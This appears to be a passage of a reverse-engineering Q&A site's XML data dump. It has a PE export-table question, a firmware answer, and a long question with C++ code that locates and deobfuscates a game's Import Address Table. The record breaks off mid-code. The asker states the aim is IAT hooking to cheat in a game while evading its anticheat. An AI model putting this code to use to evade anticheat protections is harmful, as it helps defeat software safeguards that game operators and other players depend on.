  <row Id="25292" PostTypeId="1" AcceptedAnswerId="25525" CreationDate="2020-06-13T22:56:36.263" Score="2" ViewCount="710" Body="&lt;p&gt;I need to add new function inside pe32 module.dll Export Table , in dynamic way if possible ( via extending with dll ) or by patching pe32 module.dll &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can u suggest to solve this ?&lt;/p&gt;&#xA;" OwnerUserId="14279" LastEditorUserId="14279" LastEditDate="2020-06-13T23:14:11.083" LastActivityDate="2020-07-19T20:33:56.313" Title="Pe 32 Add Export function Segment by Extending with dll or Patching pe" Tags="|windows|c++|pe|assembly|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25293" PostTypeId="2" ParentId="25105" CreationDate="2020-06-14T00:49:11.787" Score="1" Body="&lt;p&gt;I was looking for the same thing and I recently found www.rockbox.org, an  open source firmware for audio players. Their idea is the owners would capable to customize that firmware and make it more functional in some cases. Always is good enough to learn something and in the way have some fun too...&lt;/p&gt;&#xA;" OwnerUserId="33543" LastActivityDate="2020-06-14T00:49:11.787" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25294" PostTypeId="1" AcceptedAnswerId="25299" CreationDate="2020-06-14T03:44:33.140" Score="1" ViewCount="190" Body="&lt;p&gt;I want to implement a full blown import reconstructor into my app without any external dll's or Shell Executes to EXEs. I want to just have the ability to get IAT Import addresses to certain imported DLL's by name or Ordinal. So I can easily patch the IAT to do hacks. At the moment I do this all by hand and have to rely on updating the IAT addresses for every function I am hooking I want this to be automatic by putting in dll name and dll import name and get the import addresses. If I hook using anything other then IAT.. like &lt;code&gt;(DWORD)GetProcAddress(&quot;dllname&quot;, &quot;import name&quot;);&lt;/code&gt; it will be detected because it's hooking inside of a DLL that's outside the main game.. even though the anticheat also cares about editing the CODE of the Game itself same as it does for DLL's it doesn't seem to care about memory edits which is what IAT hooking does.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried a bunch of solutions such as &lt;code&gt;PE-Sieve&lt;/code&gt; and &lt;code&gt;libpeconv&lt;/code&gt; both don't handle packed IAT's..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to make my own Auto Import Scanner.. but its too much work.. i need to first find a small &#xA;x86 disasm and opcode length counter then I could loop the whole game EXE and scan for absolute addresses and double check them with &lt;code&gt;*(DWORD*)&lt;/code&gt; against &lt;code&gt;(DWORD)GetProcAddress(&quot;dllname&quot;, &quot;import name&quot;);&lt;/code&gt; if any of the addresses match then I found my IAT addresses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;– 8B0D MOV ECX,[ADDRESS]&#xA;– 8B15 MOV EDX,[ADDRESS]&#xA;– 8B1D MOV EBX,[ADDRESS]&#xA;– 8B25 MOV ESP,[ADDRESS]&#xA;– 8B2D MOV EBP,[ADDRESS]&#xA;– 8B35 MOV ESI,[ADDRESS]&#xA;– 8B3D MOV EDI,[ADDRESS]&#xA;– A1 MOV EAX,[ADDRESS]&#xA;- FF15 CALL [ADDRESS]&#xA;– FF25 JMP [ADDRESS]&#xA;– FF35 PUSH [ADDRESS]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Anyone got a code that already do this? or anything similar to this.. i would really appreciate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what I got so far.. it kinda works gets 80-85% of all imports.. but the ones that are double jumped and some with crap instructions that needs a re-pass I'm still working on that anyone got these patterns complete?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#define ResolveRVA(base,rva) (( (uint8_t*)base) +rva)&#xA;#define RVA2VA(type, base, rva) (type)((ULONG_PTR) base + rva)&#xA;&#xA;BOOL SnapShotModules(DWORD dwPID)&#xA;{&#xA;    BOOL           bRet = TRUE;&#xA;&#xA;    // Get all modules for this process:&#xA;    std::vector&amp;lt;HMODULE&amp;gt; hModules;&#xA;    const HMODULE hSelf = GetModuleHandle(NULL);&#xA;    {&#xA;        DWORD nModules;&#xA;        EnumProcessModules(GetCurrentProcess(), NULL, 0, &amp;amp;nModules);&#xA;        hModules.resize(nModules);&#xA;        EnumProcessModules(GetCurrentProcess(), &amp;amp;hModules[0], nModules, &amp;amp;nModules);&#xA;    }&#xA;&#xA;    if (!hSelf)&#xA;    {&#xA;        printf(&quot;Invalid Process Handle\n&quot;);&#xA;        return FALSE;&#xA;    }&#xA;&#xA;    gs_ModuleList.clear();&#xA;&#xA;    IAT_Module_Info modulefullInfo = { 0 };&#xA;    MODULEINFO modinfo = { 0 };&#xA;    char moduleName[256] = { 0 };&#xA;    char moduleFileName[1000] = { 0 };&#xA;&#xA;    char myProcessFilePath[1000] = { 0 };&#xA;    GetModuleFileNameExA(GetCurrentProcess(), NULL, myProcessFilePath, 1000);&#xA;    LPCSTR MyProcessFileName = PathFindFileName(myProcessFilePath);&#xA;    for (auto hModule : hModules) {&#xA;        if (hModule == hSelf)&#xA;            continue;&#xA;&#xA;        GetModuleInformation(GetCurrentProcess(), hModule, &amp;amp;modinfo, sizeof(modinfo));&#xA;        GetModuleBaseName(GetCurrentProcess(), hModule, moduleName, sizeof(moduleName) / sizeof(char));&#xA;        GetModuleFileName(hModule, moduleFileName, sizeof(moduleFileName) / sizeof(char));&#xA;        if (_strcmpi(moduleName, MyProcessFileName) == 0) continue;&#xA;        strcpy(modulefullInfo.DllName, moduleName);&#xA;        modulefullInfo.ImageSize = modinfo.SizeOfImage;&#xA;        modulefullInfo.ImageBase = (DWORD)modinfo.lpBaseOfDll;&#xA;        modulefullInfo.EntryPoint = (BYTE*)modinfo.EntryPoint;&#xA;        strcpy(modulefullInfo.DllFileName, moduleFileName);&#xA;        gs_ModuleList.push_back(modulefullInfo);&#xA;    }&#xA;&#xA;    return TRUE;&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : Retrieve API info by its addr and the module it belongs to&#xA;Params   : pBuf points to the image mapped to our space*/&#xA;/************************************************************************/&#xA;void GetAPIInfo(DWORD ptrAPI, const IAT_Module_Info *iat_module_info, DWORD ptrAPIObfuscated = NULL)&#xA;{&#xA;    //try to load the dll into our space&#xA;    HMODULE hDll = NULL;&#xA;    if(iat_module_info)&#xA;        hDll = LoadLibrary(iat_module_info-&amp;gt;DllFileName);&#xA;&#xA;    if (NULL == hDll)&#xA;        return;&#xA;&#xA;    //now ask for info from Export&#xA;    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)hDll;&#xA;    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((BYTE *)pDOSHDR + pDOSHDR-&amp;gt;e_lfanew);&#xA;    if (pNTHDR-&amp;gt;OptionalHeader.NumberOfRvaAndSizes &amp;lt; IMAGE_DIRECTORY_ENTRY_EXPORT + 1)&#xA;        return;&#xA;&#xA;    PIMAGE_EXPORT_DIRECTORY pExpDIR = (PIMAGE_EXPORT_DIRECTORY)&#xA;        ((BYTE *)pDOSHDR&#xA;            + pNTHDR-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);&#xA;    DWORD dwFunctions = pExpDIR-&amp;gt;NumberOfFunctions;&#xA;    DWORD *ptrAddrFunc = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&amp;gt;AddressOfFunctions);&#xA;    DWORD i = 0;&#xA;&#xA;    //get index by address&#xA;    for (i = 0; i &amp;lt; dwFunctions; i++)&#xA;    {&#xA;        if (ptrAPIObfuscated &amp;amp;&amp;amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == ptrAPIObfuscated)&#xA;            break;&#xA;        if (!ptrAPIObfuscated &amp;amp;&amp;amp; ((DWORD)pDOSHDR + ptrAddrFunc[i]) == *(DWORD*)ptrAPI)&#xA;            break;&#xA;    }&#xA;&#xA;    //not match&#xA;    if (i == dwFunctions)&#xA;        return;&#xA;&#xA;    //get name and ordinal&#xA;    DWORD dwNames = pExpDIR-&amp;gt;NumberOfNames;&#xA;    DWORD *pNames = (DWORD *)((BYTE *)pDOSHDR + pExpDIR-&amp;gt;AddressOfNames);&#xA;    WORD *pNameOrd = (WORD *)((BYTE *)pDOSHDR + pExpDIR-&amp;gt;AddressOfNameOrdinals);&#xA;    DWORD j = 0;&#xA;    char *pszName = NULL;&#xA;    SIZE_T nLen = 0;&#xA;    for (j = 0; j &amp;lt; dwNames; j++)&#xA;    {&#xA;        if (pNameOrd[j] == i)&#xA;        {&#xA;            pszName = (char *)pDOSHDR + pNames[j];&#xA;            nLen = strlen(pszName);&#xA;            /*printf(&quot;%X\t%04X\t%s\n&quot;,&#xA;                *(DWORD *)ptrAPI,&#xA;                j,&#xA;                pszName&#xA;            );*/&#xA;&#xA;            //Save information&#xA;            IAT_Import_Information iat_found = { 0 };&#xA;            iat_found.IATAddress = ptrAPI;&#xA;            strcpy(iat_found.IATFunctionName, pszName);&#xA;            strcpy(iat_found.IATModuleName, iat_module_info-&amp;gt;DllName);&#xA;            listOfIATImports.push_back(iat_found);&#xA;            if(ptrAPIObfuscated)&#xA;                printf(&quot;Added Obfuscated %X %X, %s -&amp;gt; %s\n&quot;, ptrAPI, ptrAPIObfuscated, iat_module_info-&amp;gt;DllName, pszName);&#xA;            else&#xA;                printf(&quot;Added %X %X, %s -&amp;gt; %s\n&quot;, ptrAPI, *(DWORD*)ptrAPI, iat_module_info-&amp;gt;DllName, pszName);&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : rebuild Import Info according to IAT&#xA;Params   : ptrIAT point to the page where IAT in&#xA;ppBuf [IN/OUT] is the memory space for the exe, may be updated&#xA;dwImageSize is the exe's image size                                                                  */&#xA;/************************************************************************/&#xA;void FixImport(DWORD dwPID, DWORD ptrIAT, DWORD ptrIATEnd, DWORD dwImageSize)&#xA;{&#xA;    if (gs_ModuleList.size() == 0) {&#xA;        printf(&quot;No Modules loaded, can't fix anything\n&quot;);&#xA;        return;&#xA;    }&#xA;&#xA;    //now verify every DWORD item is a valid FuncPtr with some dll.&#xA;    //we need to snapshot the process.&#xA;    std::list&amp;lt;IAT_Module_Info&amp;gt;::iterator it;&#xA;    IAT_Module_Info iat_module_info;&#xA;    printf(&quot;ptrIAT = %X ptrIATEnd = %X\n&quot;, ptrIAT, ptrIATEnd);&#xA;&#xA;    DWORD ptrIndex = ptrIAT;&#xA;    DWORD dwModBase = NULL;  //????????????&#xA;    DWORD dwModSize = NULL;&#xA;    DWORD dwModHit = NULL;&#xA;    while (TRUE)&#xA;    {&#xA;        //thz should always continue, even if BadPtr or invalid funcptr&#xA;        if (ptrIndex &amp;lt;= ptrIATEnd&#xA;            &amp;amp;&amp;amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD)))&#xA;        {&#xA;            ptrIndex += sizeof(DWORD);&#xA;            continue;&#xA;        }&#xA;&#xA;        //now we may end, be careful&#xA;        if (ptrIndex &amp;gt; ptrIATEnd&#xA;            &amp;amp;&amp;amp; (NULL == *(DWORD*)ptrIndex)&#xA;            &amp;amp;&amp;amp; (NULL == *(DWORD*)(ptrIndex + sizeof(DWORD))))&#xA;        {&#xA;            break;&#xA;        }&#xA;&#xA;        if (ptrIndex &amp;gt; ptrIATEnd&#xA;            &amp;amp;&amp;amp; IsBadReadPtr((const void *)*(DWORD *)ptrIndex, sizeof(DWORD))&#xA;            )&#xA;        {&#xA;            ptrIndex += sizeof(DWORD);&#xA;            continue;&#xA;        }&#xA;&#xA;        //////////////////////////////////////////////////////////////////////////&#xA;        //whether in a module range&#xA;        dwModHit = NULL;&#xA;&#xA;        //??????????&#xA;        if (*(DWORD *)ptrIndex &amp;gt;= dwModBase&#xA;            &amp;amp;&amp;amp; *(DWORD *)ptrIndex &amp;lt; dwModBase + dwModSize)&#xA;        {&#xA;            dwModHit = dwModBase;&#xA;        }&#xA;&#xA;        //have to loop every module&#xA;        if (dwModHit == NULL)&#xA;        {&#xA;            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)&#xA;            {&#xA;                iat_module_info = *it;&#xA;                dwModBase = (DWORD)iat_module_info.ImageBase;&#xA;                dwModSize = (DWORD)iat_module_info.ImageSize;&#xA;&#xA;                if (*(DWORD *)ptrIndex &amp;gt;= dwModBase&#xA;                    &amp;amp;&amp;amp; *(DWORD *)ptrIndex &amp;lt; dwModBase + dwModSize)&#xA;                {&#xA;                    //printf(&quot;ptrIndex %X %X, Mod: %X, Size: %X\n&quot;, *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);&#xA;                    //printf(&quot;Module: %s\n&quot;, iat_module_info.DllName);&#xA;                    break;&#xA;                }&#xA;                memset(&amp;amp;iat_module_info, 0, sizeof(IAT_Module_Info));&#xA;            }//end for(&#xA;        }//end if(NULL == &#xA;&#xA;        if (iat_module_info.ImageBase == 0 &amp;amp;&amp;amp; iat_module_info.ImageSize == 0) {&#xA;            bool passDone = false;&#xA;            DWORD deObfuscatedAddress = *(DWORD*)ptrIndex;&#xA;            retryPass:&#xA;            printf(&quot;%X %X\n&quot;, (BYTE)deObfuscatedAddress, *(BYTE*)deObfuscatedAddress);&#xA;            if (*(BYTE*)deObfuscatedAddress == 0xE9) //JMP relative&#xA;                deObfuscatedAddress = (*(DWORD*)(deObfuscatedAddress + 1)) + deObfuscatedAddress + 5;&#xA;            else if (*(BYTE*)deObfuscatedAddress == 0x68) { //PUSH&#xA;                printf(&quot;PUSH = %X %X\n&quot;, deObfuscatedAddress, *(DWORD*)(deObfuscatedAddress + 1));&#xA;                deObfuscatedAddress = *(DWORD*)(deObfuscatedAddress + 1);&#xA;            }&#xA;            else if ((BYTE)deObfuscatedAddress == 0xC0) { //shl (invalid opcode)&#xA;                printf(&quot;invalid = %X %X %X\n&quot;, ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);&#xA;                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));&#xA;                printf(&quot;invalid = %X %X %X\n&quot;, ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);&#xA;                passDone = true;&#xA;                goto retryPass;&#xA;            } else if ((BYTE)deObfuscatedAddress == 0xC8) { //enter (invalid opcode)&#xA;                printf(&quot;invalid = %X %X %X\n&quot;, ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);&#xA;                deObfuscatedAddress = *(DWORD*)(ptrIndex + insn_len((void*)ptrIndex));&#xA;                printf(&quot;invalid = %X %X %X\n&quot;, ptrIndex, deObfuscatedAddress, (DWORD*)deObfuscatedAddress);&#xA;                passDone = true;&#xA;                goto retryPass;&#xA;            } else {&#xA;                if (passDone) goto continueGo;&#xA;                printf(&quot;b unknown deob %X %X %X %X\n&quot;, ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);&#xA;                deObfuscatedAddress += insn_len((void*)deObfuscatedAddress);&#xA;                printf(&quot;a unknown deob %X %X %X %X\n&quot;, ptrIndex, *(BYTE*)ptrIndex, *(DWORD*)ptrIndex, deObfuscatedAddress);&#xA;                passDone = true;&#xA;                goto retryPass;&#xA;            }&#xA;            continueGo:&#xA;            for (it = gs_ModuleList.begin(); it != gs_ModuleList.end(); it++)&#xA;            {&#xA;                iat_module_info = *it;&#xA;                dwModBase = (DWORD)iat_module_info.ImageBase;&#xA;                dwModSize = (DWORD)iat_module_info.ImageSize;&#xA;&#xA;                if (deObfuscatedAddress &amp;gt;= dwModBase&#xA;                    &amp;amp;&amp;amp; deObfuscatedAddress &amp;lt; dwModBase + dwModSize)&#xA;                {&#xA;                    //printf(&quot;ptrIndex %X %X, Mod: %X, Size: %X\n&quot;, deObfuscatedAddress, ptrIndex, dwModBase, dwModSize);&#xA;                    //printf(&quot;Module: %s\n&quot;, iat_module_info.DllName);&#xA;                    break;&#xA;                }&#xA;                memset(&amp;amp;iat_module_info, 0, sizeof(IAT_Module_Info));&#xA;            }&#xA;            GetAPIInfo(ptrIndex, &amp;amp;iat_module_info, deObfuscatedAddress);&#xA;            ptrIndex += sizeof(DWORD);&#xA;            memset(&amp;amp;iat_module_info, 0, sizeof(IAT_Module_Info));&#xA;            continue;&#xA;        }&#xA;&#xA;        //now *ptrIndex in dwModBase&#xA;        //now retrieve API info (Hint, name) from the module's export&#xA;        //printf(&quot;ptrIndex %X %X, Mod: %X, Size: %X\n&quot;, *(DWORD *)ptrIndex, ptrIndex, dwModBase, dwModSize);&#xA;        GetAPIInfo(ptrIndex, &amp;amp;iat_module_info);&#xA;        ptrIndex += sizeof(DWORD);&#xA;    }&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : Get AddressOfEntryPoint  (or Original Entry Point)&#xA;Params   : lpAddr is the Base where the exe mapped into&#xA;Return   : OEP (RVA)             */&#xA;/************************************************************************/&#xA;DWORD GetOEP(LPVOID lpAddr)&#xA;{&#xA;    PIMAGE_DOS_HEADER pDOSHDR = (PIMAGE_DOS_HEADER)lpAddr;&#xA;    PIMAGE_NT_HEADERS pNTHDR = (PIMAGE_NT_HEADERS)((unsigned char *)pDOSHDR + pDOSHDR-&amp;gt;e_lfanew);&#xA;    return pNTHDR-&amp;gt;OptionalHeader.AddressOfEntryPoint;&#xA;}&#xA;&#xA;/************************************************************************/&#xA;/*&#xA;Function : Retrieve a process's Import Info only by IAT&#xA;Param    : lpAddr is the address the exe mapped into (within our space)&#xA;ptrIATEnd [out] used to receive the 1st IAT we found (FF25 XXXX, FF15YYYY)&#xA;Return   : the beginning of the page where IAT in&#xA;Search for FF25 XXXX,  or FF15 yyyy&#xA;HelloWorld.exe&#xA;004001E0 &amp;gt; .  EA07D577      DD USER32.MessageBoxA&#xA;004001E4      00000000      DD 00000000&#xA;004001E8 &amp;gt;/$  6A 00         PUSH 0                                   ; /Style = MB_OK|MB_APPLMODAL&#xA;004001EA  |.  6A 00         PUSH 0                                   ; |Title = NULL&#xA;004001EC  |.  6A 00         PUSH 0                                   ; |Text = NULL&#xA;004001EE  |.  6A 00         PUSH 0                                   ; |hOwner = NULL&#xA;004001F0  |.  E8 01000000   CALL &amp;lt;JMP.&amp;amp;USER32.MessageBoxA&amp;gt;           ; \MessageBoxA&#xA;004001F5  \.  C3            RETN&#xA;004001F6   $- FF25 E0014000 JMP DWORD PTR DS:[&amp;lt;&amp;amp;USER32.MessageBoxA&amp;gt;] ;  USER32.MessageBoxA&#xA;Notepad.exe&#xA;0100740B   .  FF15 38130001      CALL DWORD PTR DS:[&amp;lt;&amp;amp;msvcrt.__set_app_ty&amp;gt;;  msvcrt.__set_app_type&#xA;MSPaint.exe&#xA;1000CA65    8B35 58D10110   MOV ESI,DWORD PTR DS:[&amp;lt;&amp;amp;KERNEL32.LCMapSt&amp;gt;; kernel32.LCMapStringW&#xA;*/&#xA;/************************************************************************/&#xA;&#xA;/*&#xA;Need to check all of these&#xA;– 8B0D MOV ECX,[ADDRESS]&#xA;– 8B15 MOV EDX,[ADDRESS]&#xA;– 8B1D MOV EBX,[ADDRESS]&#xA;– 8B25 MOV ESP,[ADDRESS]&#xA;– 8B2D MOV EBP,[ADDRESS]&#xA;– 8B35 MOV ESI,[ADDRESS]&#xA;– 8B3D MOV EDI,[ADDRESS]&#xA;– A1 MOV EAX,[ADDRESS]&#xA;- FF15 CALL [ADDRESS]&#xA;– FF25 JMP [ADDRESS]&#xA;– FF35 PUSH [ADDRESS]&#xA;*/&#xA;&#xA;DWORD SearchIAT(LPVOID lpAddr, DWORD dwImageSize, DWORD pImageBase, DWORD dwMaxIATImageSize, DWORD *ptrIATEnd)&#xA;{&#xA;    DWORD pImageSectionStart = 0;&#xA;    DWORD instruction_length;&#xA;    DWORD *ptrFuncAddr = NULL;     //like xxx in JMP DWORD PTR DS:[XXXX]&#xA;    DWORD ptrFuncAddrHighest = NULL;&#xA;    DWORD dwOEP = NULL;&#xA;    BYTE *pCode = NULL;&#xA;    DWORD i = NULL;&#xA;    WORD  wJMP = 0x25FF;&#xA;    WORD  wCALL = 0x15FF;&#xA;&#xA;    dwOEP = GetOEP(lpAddr);&#xA;    i = dwOEP;&#xA;    pCode = (BYTE *)((BYTE *)lpAddr + dwOEP);&#xA;&#xA;    // get the location of the module's IMAGE_NT_HEADERS structure&#xA;    IMAGE_NT_HEADERS *pNtHdr = ImageNtHeader(lpAddr);&#xA;    // section table immediately follows the IMAGE_NT_HEADERS&#xA;    IMAGE_SECTION_HEADER *pSectionHdr = (IMAGE_SECTION_HEADER *)(pNtHdr + 1);&#xA;&#xA;    bool got = false;&#xA;    for (int scn = 0; scn &amp;lt; pNtHdr-&amp;gt;FileHeader.NumberOfSections; ++scn)&#xA;    {&#xA;        char *name = (char*)pSectionHdr-&amp;gt;Name;&#xA;        DWORD SectionStart = (DWORD)lpAddr + pSectionHdr-&amp;gt;VirtualAddress;&#xA;        DWORD SectionEnd = (DWORD)lpAddr + pSectionHdr-&amp;gt;VirtualAddress + pSectionHdr-&amp;gt;Misc.VirtualSize - 1;&#xA;&#xA;        if (got) {&#xA;            pImageSectionStart = SectionStart;&#xA;            break;&#xA;        }&#xA;&#xA;        if (SectionStart == pImageBase + dwOEP &amp;amp;&amp;amp; SectionEnd &amp;lt; dwImageSize) {&#xA;            got = true;&#xA;            //next one is imports.&#xA;            ++pSectionHdr;&#xA;            continue;&#xA;        }&#xA;        ++pSectionHdr;&#xA;    }&#xA;&#xA;    if (!pImageSectionStart)&#xA;        pImageSectionStart = dwImageSize;&#xA;&#xA;    printf(&quot;Found OEP at %X, ImageSize = %X,%X\n&quot;, dwOEP, dwImageSize, pImageSectionStart);&#xA;&#xA;    //search for FF 25 XXXX, FF 15 YYYY from OEP, had better use Disasm engine &#xA;    //but we just do it simply&#xA;    while (i &amp;lt; pImageSectionStart)&#xA;    {&#xA;        if (memcmp(pCode, &amp;amp;wJMP, sizeof(WORD))&#xA;            &amp;amp;&amp;amp; memcmp(pCode, &amp;amp;wCALL, sizeof(WORD)))&#xA;        {&#xA;            //&#xA;            instruction_length = insn_len(pCode);&#xA;            pCode += instruction_length;&#xA;            i += instruction_length;&#xA;            continue;&#xA;        }&#xA;&#xA;        //check illegal, *ptrFuncAddr &amp;gt; pImageBase  &amp;amp;&amp;amp; *ptrFuncAddr &amp;lt;= pImageBase + dwImageSize&#xA;        ptrFuncAddr = (DWORD *)(pCode + sizeof(WORD));&#xA;        if (*ptrFuncAddr &amp;lt; (DWORD)pImageBase || *ptrFuncAddr &amp;gt;= (DWORD)pImageBase + dwImageSize)&#xA;        {&#xA;            instruction_length = insn_len(pCode);&#xA;            pCode += instruction_length;&#xA;            i += instruction_length;&#xA;            continue;&#xA;        }&#xA;&#xA;        //need to fix relocation&#xA;        *(DWORD *)ptrFuncAddr = (long)lpAddr + *(long *)ptrFuncAddr - (long)pImageBase;&#xA;        //now found one item that may belongs to IAT&#xA;        ptrFuncAddr = (DWORD *)*ptrFuncAddr;&#xA;&#xA;        if ((DWORD)ptrFuncAddr &amp;gt; ptrFuncAddrHighest) {&#xA;            ptrFuncAddrHighest = (DWORD)ptrFuncAddr;&#xA;            printf(&quot;highest = %X\n&quot;, ptrFuncAddrHighest);&#xA;        }&#xA;&#xA;        //recheck illegal, &#xA;        //for system dlls, what about user dlls? well, whatever, there must be system dlls&#xA;        //what if we found IAT for system dlls, so we found the user dlls.&#xA;        //What if the IAT tables are not continous????????&#xA;        if (*ptrFuncAddr &amp;lt; dwMaxIATImageSize)&#xA;        {&#xA;            instruction_length = insn_len(pCode);&#xA;            pCode += instruction_length;&#xA;            i += instruction_length;&#xA;            continue;&#xA;        }&#xA;        break;&#xA;    }&#xA;&#xA;    //now it seems ptrFuncAddr points some item in IAT, &#xA;    //make ptrFuncAddr point to the beginning of the page&#xA;    //we use 0xFFFEFFFF, because ptrFuncAddr is the memory addr we allocated, not by loadlibrary&#xA;    *ptrIATEnd = (DWORD)ptrFuncAddrHighest;&#xA;    ptrFuncAddr = (DWORD*)(((DWORD)ptrFuncAddr &amp;amp; 0xFFFFF000)&#xA;        + ((DWORD)lpAddr &amp;amp; 0x0FFF)&#xA;        );&#xA;    return (DWORD)ptrFuncAddr;&#xA;&#xA;    //return NULL;&#xA;}&#xA;&#xA;unsigned long Get_Import_Address(char* DLL, char* Library, char* Import, int ordinal = -1)&#xA;{&#xA;    HMODULE mhLoadedDLL = NULL;&#xA;    do&#xA;    {&#xA;        if (!DLL)&#xA;            mhLoadedDLL = GetModuleHandle(NULL);&#xA;        else&#xA;            mhLoadedDLL = GetModuleHandle(DLL);&#xA;        Sleep(100);&#xA;    } while (!mhLoadedDLL);&#xA;&#xA;    MODULEINFO modinfo;&#xA;    GetModuleInformation(GetCurrentProcess(), mhLoadedDLL, &amp;amp;modinfo, sizeof(MODULEINFO));&#xA;    DWORD ModuleSize = (unsigned long)modinfo.SizeOfImage;&#xA;&#xA;    PIMAGE_DOS_HEADER DosHeader = (PIMAGE_DOS_HEADER)mhLoadedDLL;&#xA;    PIMAGE_NT_HEADERS NtHeader;&#xA;    PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor;&#xA;    UINT Index = 0;&#xA;&#xA;&#xA;    NtHeader = (PIMAGE_NT_HEADERS)(((PBYTE)DosHeader) + DosHeader-&amp;gt;e_lfanew);&#xA;    if (NtHeader-&amp;gt;Signature != IMAGE_NT_SIGNATURE)&#xA;        return 0;&#xA;&#xA;    ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(((PBYTE)DosHeader) + NtHeader-&amp;gt;OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);&#xA;&#xA;    if (mhLoadedDLL) {&#xA;        ULONG Sz;&#xA;        ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)ImageDirectoryEntryToDataEx(mhLoadedDLL, TRUE, IMAGE_DIRECTORY_ENTRY_IMPORT, &amp;amp;Sz, nullptr);&#xA;    }&#xA;&#xA;    __try {&#xA;        //&#xA;        // Iterate over import descriptors/DLLs.&#xA;        //&#xA;        for (Index = 0; (ImportDescriptor[Index].Characteristics != 0 || ImportDescriptor[Index].Name); Index++) {&#xA;            PSTR dllName = (PSTR)(((PBYTE)DosHeader) + ImportDescriptor[Index].Name);&#xA;&#xA;            if (_strcmpi(dllName, Library) == 0) {&#xA;                // This the DLL we are after.&#xA;                PIMAGE_THUNK_DATA Thunk;&#xA;                PIMAGE_THUNK_DATA OrigThunk;&#xA;&#xA;                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);&#xA;                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);&#xA;&#xA;                //Reset&#xA;                Thunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].FirstThunk);&#xA;                OrigThunk = (PIMAGE_THUNK_DATA)(((PBYTE)DosHeader) + ImportDescriptor[Index].OriginalFirstThunk);&#xA;&#xA;                for (; OrigThunk-&amp;gt;u1.Function != NULL; OrigThunk++, Thunk++)&#xA;                {&#xA;                    if (ordinal != -1) {&#xA;                        if ((OrigThunk-&amp;gt;u1.Ordinal &amp;amp; IMAGE_ORDINAL_FLAG) &amp;amp;&amp;amp; IMAGE_ORDINAL(OrigThunk-&amp;gt;u1.Ordinal) == ordinal) //send ordinal&#xA;                            return (DWORD)Thunk; //Address of import returns.&#xA;                    }&#xA;&#xA;                    if (OrigThunk-&amp;gt;u1.Ordinal &amp;amp; IMAGE_ORDINAL_FLAG) { // Ordinal import - we can handle named imports only, so skip it.&#xA;                        continue;&#xA;                    }&#xA;&#xA;                    PIMAGE_IMPORT_BY_NAME importt = (PIMAGE_IMPORT_BY_NAME)(((PBYTE)DosHeader) + OrigThunk-&amp;gt;u1.AddressOfData);&#xA;&#xA;                    if (_strcmpi(Import, (char*)importt-&amp;gt;Name) == 0) {&#xA;                        return (DWORD)Thunk; //Address of import returns.&#xA;                    }&#xA;                }&#xA;&#xA;                unsigned long ptrFuncsIndex = (unsigned long)ImportDescriptor[Index].FirstThunk + (DWORD)mhLoadedDLL;&#xA;                DWORD impAddress = (DWORD)GetProcAddress(GetModuleHandle(Library), Import);&#xA;&#xA;                //First get all modules loaded, so you can find the maximum ImageBase+ImageSize for IAT Max Size calculation.&#xA;                if (gs_ModuleList.size() == 0) {&#xA;                    BOOL bRet = SnapShotModules((DWORD)GetCurrentProcess());&#xA;                    if (!bRet)&#xA;                    {&#xA;                        printf(&quot;Failed to get Modules\n&quot;);&#xA;                        return 0;&#xA;                    }&#xA;                }&#xA;&#xA;                DWORD dwMaxIATImageSize = 0x70000000;&#xA;                if (gs_ModuleList.size() &amp;gt; 0) {&#xA;                    auto max_it = std::max_element(gs_ModuleList.begin(), gs_ModuleList.end(), [](const IAT_Module_Info&amp;amp; l, const IAT_Module_Info&amp;amp; h) {&#xA;                        return l.ImageBase &amp;lt; h.ImageBase;&#xA;                    });&#xA;&#xA;                    if (max_it-&amp;gt;ImageBase &amp;gt; 0)&#xA;                        dwMaxIATImageSize = (DWORD)max_it-&amp;gt;ImageBase + max_it-&amp;gt;ImageSize;&#xA;&#xA;                    printf(&quot;Highest Imported DLL = %X %s\n&quot;, max_it-&amp;gt;ImageBase, max_it-&amp;gt;DllName);&#xA;                }&#xA;                //now we do more, retrieve the Page where IAT in&#xA;                DWORD ptrIATEnd = NULL;&#xA;                DWORD ptrIAT = SearchIAT(mhLoadedDLL, ModuleSize, NtHeader-&amp;gt;OptionalHeader.ImageBase, dwMaxIATImageSize, &amp;amp;ptrIATEnd);&#xA;&#xA;                printf(&quot;Rebuilding IAT,Found IAT in page %X, IAT End 